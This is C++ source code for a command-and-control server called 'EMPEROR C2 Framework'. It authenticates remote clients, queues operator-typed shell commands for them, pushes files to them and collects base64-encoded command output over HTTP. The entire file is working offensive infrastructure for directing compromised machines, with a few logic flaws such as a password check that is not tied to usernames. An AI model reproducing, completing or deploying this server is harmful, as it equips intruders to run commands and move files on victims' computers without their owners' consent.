#include <array>
#include <fstream>
#include <httpserver.hpp>
#include <iostream>
#include <map>
#include <regex>
#include <string>
#include <thread>
#include <vector>

// GLOBALS
bool bIncomingHey = false;
std::string sIncomingHeyUser;
bool bShutdown = false;

std::string decodeQuadruplet(char cEncoded1, char cEncoded2, char cEncoded3, char cEncoded4)
{
	std::array<std::uint8_t, 128> aDecodeTable{0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
						   0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x3E,
						   0x64, 0x64, 0x64, 0x3F, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x00,
						   0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16,
						   0x17, 0x18, 0x19, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26,
						   0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x64, 0x64, 0x64, 0x64, 0x64};
	std::uint32_t iCombinedChars = aDecodeTable[cEncoded1] << 18 | aDecodeTable[cEncoded2] << 12 | aDecodeTable[cEncoded3] << 6 | aDecodeTable[cEncoded4];

	std::ostringstream oss;
	oss << char(iCombinedChars >> 16);
	oss << char(iCombinedChars >> 8 & 0xFF);
	oss << char(iCombinedChars & 0xFF);
	return oss.str();
}

std::string b64Decode(std::string sEncoded) 
{
	std::string sDecoded = "";
	while (sEncoded.length() > 0)
	{
		if (sEncoded[3] == '$')
		{
			if (sEncoded[2] == '$')
			{
				sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], 'A', 'A');
				sEncoded.erase(0, 4);
				sDecoded.erase(sDecoded.length() - 2, 2);
			}
			else
			{
				sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], sEncoded[2], 'A');
				sEncoded.erase(0, 4);
				sDecoded.erase(sDecoded.length() - 1, 1);
			}
		}
		else
		{
			sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], sEncoded[2], sEncoded[3]);
			sEncoded.erase(0, 4);
		}
	}
	return sDecoded;
}
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)	// takes a file path as a parameter and parses the combinations of usernames and passwords from the file for insertion
									// into a vector of strings
{
	std::vector<std::vector<std::string>> sCreds;  // define 2d vector of strings for storing creds
	std::vector<std::string> sUsernames;	       // vector of strings for storing usernames
	std::vector<std::string> sPasswords;	       // vector of strings for storing passwords
	std::fstream fCreds;			       // filestream for reading provided file
	fCreds.open("creds", std::ios::in);	       // open file provided in parameter
	char ch;
	bool bUsername = true;	     // flag used to determine if username is currently being parsed, set to true by default as creds are in the form username:password
	std::string sUsername = "";  // string to store username
	std::string sPassword = "";  // string to store password

	while (true)  // loop forever
	{
		fCreds >> ch;

		if (fCreds.eof())  // if the end of the credentials file has been reached
		{
			sPasswords.push_back(sPassword);  // push the last password back into the vector of passwords
			break;				  // and break the loop
		}

		if (ch == ':')	// if we have reached the end of the username
		{
			bUsername = false;		  // set the bUsername flag to false
			fCreds >> ch;			  // retrieve the next char from the file
			sUsernames.push_back(sUsername);  // add the previous username to the sUsernames vector
			sUsername = "";			  // set the sUsername variable to empty
		}

		if (ch == '\n')	 // if we have encountered a line break
		{
			bUsername = true;		  // set the bUsername flag to true
			fCreds >> ch;			  // retrieve the next char from the file
			sPasswords.push_back(sPassword);  // add the previous password to the sPasswords vector
			sPassword = "";			  // set the sPassword variable to empty
		}

		if (bUsername)	// if the bUsername flag is true
		{
			sUsername += ch;  // then append the retrieved char to the sUsername string
		}
		else  // if the bUsername flag is false
		{
			sPassword += ch;  // then append the retrieved char to the sPassword string
		}
	}

	sCreds.push_back(sUsernames);  // add the sUsernames vector to the sCreds 2d vector
	sCreds.push_back(sPasswords);  // add the sPasswords vector to the sCreds 2d vector
	return sCreds;		       // return the sCreds 2d vector
}

std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");	// call the retrievecreds function with the filename "creds" as a parameter and save the returned vector to a 2d vector
									// called sCreds

std::map<std::string, bool> createUserConnections(std::vector<std::vector<std::string>> sCreds)	 // takes a vector of strings containing the listed credentials and creates a dictionary containing the
												 // username of the registered client as the key and a false boolean for later use
{
	std::map<std::string, bool> mConnections;  // define mConnections, a map containing string as the key and bool as the value

	for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in the list of credentials
	{
		mConnections[sCreds[0][iUsernameIndex]] = false;  // set the value of the username to an empty string
	}
	return mConnections;  // return the map
}

std::map<std::string, std::string> createUserComms(std::vector<std::vector<std::string>> sCreds)  // creates a dictionary containing the username of the registered client
												  // as the key and an empty value for later use
{
	std::map<std::string, std::string> mComms;  // define mComms, a map containing string as the key and value

	for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in the list of credentials
	{
		mComms[sCreds[0][iUsernameIndex]] = "";	 // set the value of the username to an empty string
	}
	return mComms;	// return the map
}

std::map<std::string, std::pair<std::string, std::string>> createUserFiles(std::vector<std::vector<std::string>> sCreds)  // creates a dictionary containing the username of the registered
															  // client as the key and an empty string pair for later use
{
	std::map<std::string, std::pair<std::string, std::string>> mComms;  // define mComms, a map containing string as the key and value

	for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in the list of credentials
	{
		mComms[sCreds[0][iUsernameIndex]].first = "";	// set the value of the username to an empty string
		mComms[sCreds[0][iUsernameIndex]].second = "";	// set the value of the username to an empty string
	}
	return mComms;	// return the map
}

std::map<std::string, std::string> mCommands = createUserComms(sCreds);	 // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to
									 // mCommands

std::map<std::string, std::string> mResults = createUserComms(sCreds);	// call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to
									// mResults

std::map<std::string, std::pair<std::string, std::string>> mInFiles =
    createUserFiles(sCreds);  // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles

std::map<std::string, std::pair<std::string, std::string>> mOutFiles =
    createUserFiles(sCreds);  // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles

std::map<std::string, bool> mConnections = createUserConnections(sCreds);  // call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of
									   // string and bool to mConnections

std::string listUserConnections(std::map<std::string, bool> mConnections)  // iterates through the provided mConnections map, checking if the value for a username is true and if so, it adds
									   // the username along with a string which confirms the client is active to the oss, which is returned as string
{
	std::ostringstream oss;			     // declare ostringstream oss for later use as a dynamic string
	for (auto const &[key, val] : mConnections)  // for each key and value in mConnections, assign these to variables key and val
	{
		if (val == true)  // if the value for the key is true
		{
			oss << key << " is active.\n";	// then add the key to the oss as well as a string to confirm the client is active
		}
	}
	std::string sConnections = oss.str();  // convert oss to string
	return sConnections;		       // return the converted string
}

class command_and_control : public httpserver::http_resource  // class for command and control http resource
{
    public:
	bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername,
			 std::string sPassword)	 // takes 2d vector sCreds along with the provided username and password from the
						 // client in order to verify their credentials, returns true if successful
	{
		for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in sCreds
		{
			if (sCreds[0][iUsernameIndex] == sUsername)  // if the selected username in the vector matches the username provided by the client
			{
				for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)  // for each password in sCreds
				{
					if (sCreds[1][iPasswordIndex] == sPassword)  // if the selected password in the vector matches the password provided by the client
					{
						return true;  // then return true
					}
				}
			}
		}
		return false;  // otherwise return false
	}

	const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)  // responsible for rendering the http response from the server
	{
		if (verifycreds(sCreds, req.get_user(), req.get_pass()))  // if the provided http auth credentials from the client are in the sCreds 2d vector
		{
			if (req.get_method() == "POST")	 // if the method used is post
			{
				if (b64Decode(req.get_arg("msg")) == "ready")  // if the client is initiating a connection
				{
					std::ostringstream oss;		      // declare ostringstream oss for response creation
					oss << "msg=acknowledged";	      // add specific response for client to confirm connection has been established
					std::string sResponse = oss.str();    // convert oss to string
					bIncomingHey = true;		      // set the bIncomingHey flag to true
					sIncomingHeyUser = req.get_user();    // set the sIncomingHeyUser string to the value of the username used by the client
					mConnections[req.get_user()] = true;  // set the connection value of the user in question to true
					return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));	// return the generated response to the client
				}
				else if (b64Decode(req.get_arg("msg")) == "reqcmd")  // if the client is requesting a command from the server
				{
					if (mCommands[req.get_user()] != "")  // if there is a command waiting to be executed from the server
					{
						std::ostringstream oss;										// declare ostringstream oss for response creation
						oss << "run=" << mCommands[req.get_user()];							// add command to the oss
						return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));	// return the generated response to the client
					}

					else if (mOutFiles[req.get_user()].first != "")	 // if there is a file waiting to be downloaded from the server
					{
						std::ostringstream oss;	 // declare ostringstream for response creation
						oss << "filename=" << mOutFiles[req.get_user()].first << "&content=" << mOutFiles[req.get_user()].second;  // add filename and file content to the oss
						return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));	// return the generated response to the client
					}

					else  // otherwise
					{
						return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));  // tell the client there is no command in the queue
					}
				}

				else if (b64Decode(req.get_arg("msg")) == "saved")
				{
					std::cout << "Client " << req.get_user() << " successfully saved the file." << std::endl;
					mOutFiles[req.get_user()].first = "";
					mOutFiles[req.get_user()].second = "";
				}

				else if (b64Decode(req.get_arg("msg")) == "error")
				{
					std::cout << "Client " << req.get_user() << " encountered an error whilst saving the file." << std::endl;
					mOutFiles[req.get_user()].first = "";
					mOutFiles[req.get_user()].second = "";
				}

				else if (b64Decode(req.get_arg("result")) != "")  // if the client has submitted a result from a command
				{
					mCommands[req.get_user()] = "";			   // the value for the client in the mCommands map wil be set to empty
					mResults[req.get_user()] = b64Decode(req.get_arg("result"));  // the value for the client in the mResults map will be set to the returned result
					std::ostringstream oss;				   // declare osstringstream oss for response creation
					oss << "msg=acknowledged";			   // add specific response for client to confirm that the result from the command was recieved
					return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));	// return the generated response to the client
				}
			}
		}
		return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(req.get_content()));	// otherwise return not found
	}
};

void checkConnections()	 // checks if there is an incoming connection from a client, if there is then the function prints out a message stating the username connecting
{
	while (!bShutdown)  // whilst the server is not shutting down
	{
		if (bIncomingHey)  // if the bIncomingHey flag is true
		{
			std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;	 // then print incoming connection from, with the username and finally
															 // print the prompt on the next line
			bIncomingHey = false;										 // set the bIncomingHey flag to false
			sIncomingHeyUser = "";										 // set the sIncomingHeyUser string to empty
		}
	}
}

bool uploadFile(std::string sFilename, std::string sUsername)
{
	std::string sContent;	       // declare string sContent for later use
	sContent += sFilename + '\n';  // append filename along with a linebreak to the file content for use by the client
	std::ifstream fFile;	       // declare ifstream fFile for later use
	fFile.open(sFilename);	       // open the file provided as an argument
	char ch;		       // declare char for reading file
	while (fFile)		       // whilst the end of the file has not been reached
	{
		ch = fFile.get();  // get the next char from the file
		sContent += ch;	   // append it to the sContent string
	}

	if (sContent != "")  // if the file was successfully read
	{
		mOutFiles[sUsername].first = sFilename;	 // then set the value of the username key in the mOutFiles map to the parsed content of the file
		mOutFiles[sUsername].second = sContent;	 // then set the value of the second value for username key in the mOutFiles map to the parsed content of the file
		return true;
	}
	else  // otherwise
	{
		return false;  // the file was not successfully read
	}
}

void downloadFile(std::string sContent, std::string sUsername)
{
	std::ofstream fFile;	// declare ifstream fFile for later use
	std::string sFilename;	// declare string sFilename for later use

	for (int i = 0; i < sContent.length() - 1; i++)	 // for each char in the sContent string
	{
		if (sContent[i] == '\n')  // if the selected char is a line break
		{
			break;
		}
		sFilename += sContent[i];  // add the selected char to the sFilename string
	}

	fFile.open(sFilename);	// creatr file with provided filename
	fFile << sContent;	// write file content to file
}

void interactConnection(std::string sIdentifier)  // begin issuing commands to the client provided as a parameter
{
	std::string sCommand;							// declare sCommand string to store command input
	std::cout << "Starting interaction with " << sIdentifier << std::endl;	// show the connection that the user is beginning interaction with
	while (true)								// loop forever
	{
		std::cout << "[EMPEROR - " << sIdentifier << "]>";  // print prompt with username of connected client
		std::getline(std::cin, sCommand);		    // get user input
		std::regex rUpload(":u ");			    // compile upload regex for later use

		if (sCommand == ":q")  // if the command is quit
		{
			break;	// exit the interactive connection
		}
		else if (std::regex_search(sCommand, rUpload))	// if the command is upload
		{
			bool bFilename = false;			     // declare bool bFilename flag which is set to false by default
			bool bResult;				     // declare bool bResult for later use
			std::string sFilename;			     // declare string sFilename for later use
			for (int i = 0; i < sCommand.length(); i++)  // for each char in sCommand string
			{
				if (bFilename)	// if the filename is currently being parsed
				{
					sFilename += sCommand[i];  // add the currently selected char to the sFilename string
				}

				if (sCommand[i] == ' ')	 // if the currently selected char is a space
				{
					bFilename = true;  // set the bFilename flag to true
				}
			}

			bResult = uploadFile(sFilename, sIdentifier);  // call the uploadFile function with the filename and identifier as parameters, saving the return to the bResult bool

			if (bResult)  // if the uploadFile function returned true
			{
				std::cout << "Command sent, awaiting response..." << std::endl;	 // tell the user that the command has been added to the queue and is awaiting a response
				while (mOutFiles[sIdentifier].first != "")			 // whilst the file has not been removed from the mOutFiles array
				{
					continue;  // do nothing and block further execution
				}
			}
			else  // otherwise
			{
				std::cout << "The provided file does not exist or cannot be read." << std::endl;  // tell the user the file provided could not be read
			}
		}
		else  // otherwise
		{
			mCommands[sIdentifier] = sCommand;				 // add the command to the value for the username key in the mCommands map
			std::cout << "Command sent, awaiting response..." << std::endl;	 // tell the user that the command has been added to the queue and is awaiting a response
			while (mResults[sIdentifier].empty())				 // whilst the client has not submitted a result for the command
			{
				continue;  // do nothing and block further execution
			}
			std::cout << "Result: " << mResults[sIdentifier] << std::endl;	// when the response is submitted, print the result to the user from the mResults map
			mResults[sIdentifier] = "";					// set the value of the key for the client in question to an empty string
		}
	}
}

void prompt()
{
	std::cout << "========== EMPEROR C2 Framework ==========" << std::endl;
	std::cout << R"(            _____             
          ,888888b.                                        
        .d888888888b                                      
    _..-'.`*'_,88888b                                  
  ,'..-..`"ad88888888b.                         
         ``-. `*Y888888b.                             
             \   `Y888888b.          
             :     Y8888888b.                         
             :      Y88888888b.                       
             |    _,8ad88888888.                      
             : .d88888888888888b.                     
             \d888888888888888888                      
             8888;'''`88888888888                       
             888'     Y8888888888                        
             `Y8      :8888888888                      
              |`      '8888888888                    
              |        8888888888                     
              |        8888888888                    
              |        8888888888                       
              |       ,888888888P                    
              :       ;888888888'                    
               \      d88888888'                       
              _.>,    888888P'                           
            <,--''`.._>8888(                        
             `>__...--' `''`    )"
		  << std::endl;
	std::cout << "=========================================" << std::endl;	// print out fancy splash screen for server
	std::string sCommand;							// declare string sCommand for storing user input
	while (true)								// loop forever
	{
		std::cout << "[EMPEROR]>";	   // print prompt
		std::getline(std::cin, sCommand);  // get input to sCommand string
		std::regex rConnect("connect ");   // compile rConnect regex

		if (sCommand == "connections")	// if the user wants to list the current connections
		{
			std::cout << listUserConnections(mConnections);	 // then call the listUserConnections function with the argument of the mConnections map and print the return from the function
		}

		if (std::regex_search(sCommand, rConnect))  // if the user is trying to interact with a specific connection
		{
			std::vector<std::string> sCommands;	     // declare a vector of strings sCommands which is used to store the command after it has been split
			std::string sSplit;			     // declare string sSplit for storing each section of the split string
			for (int i = 0; i < sCommand.length(); i++)  // for each char in the sCommand string
			{
				if (sCommand[i] == ' ')	 // if the char is a space
				{
					sCommands.push_back(sSplit);  // add the sSplit string to the sCommands vector
					/*if (sCommands.size() >= 2) // if the sCommands vector has two strings
					{
						break; // then break out of the for loop
					}*/
					sSplit = "";  // set the sSplit string to empty
				}
				else  // otherwise
				{
					sSplit.push_back(sCommand[i]);	   // add the currently selected char from the sCommand string to the sSplit string
					if (i == (sCommand.length() - 1))  // if the end of the sCommand string has been reached
					{
						sCommands.push_back(sSplit);  // add the sSplit string to the sCommands vector
					}
				}
			}
			if (mConnections[sCommands[1]])	 // if the client which the user wishes to interact with has an active connection
			{
				interactConnection(sCommands[1]);  // then begin interacting with the connection, providing interactConnection with the username of the client in question
			}
			else  // otherwise
			{
				std::cout << "That client is not currently connected." << std::flush;  // tell the user the client is not currently connected
			}
		}

		if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")  // if the user wishes to quit
		{
			bShutdown = true;  // set the bShutdown flag to true
			break;		   // break out of the while loop
		}
	}
}

int main(int argc, char **argv)
{
	command_and_control c2;						// instanciate the command and control class
	httpserver::webserver ws = httpserver::create_webserver(8665);	// create the webserver, ensuring ssl is enabled and
									// the server is using the provided crt and key
	ws.register_resource("/", &c2);	 // register the c2 resource at a randomly generated URL
	// ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);									   // register the c2 resource at a randomly
	// generated URL
	ws.start(false);		       // start the webserver in non-blocking mode
	std::thread tCheck(checkConnections);  // run checkConnections in a new thread
	prompt();			       // run the interactive prompt
	tCheck.join();			       // after the prompt has exited, wait for the checkConnections thread to end
	return 0;
}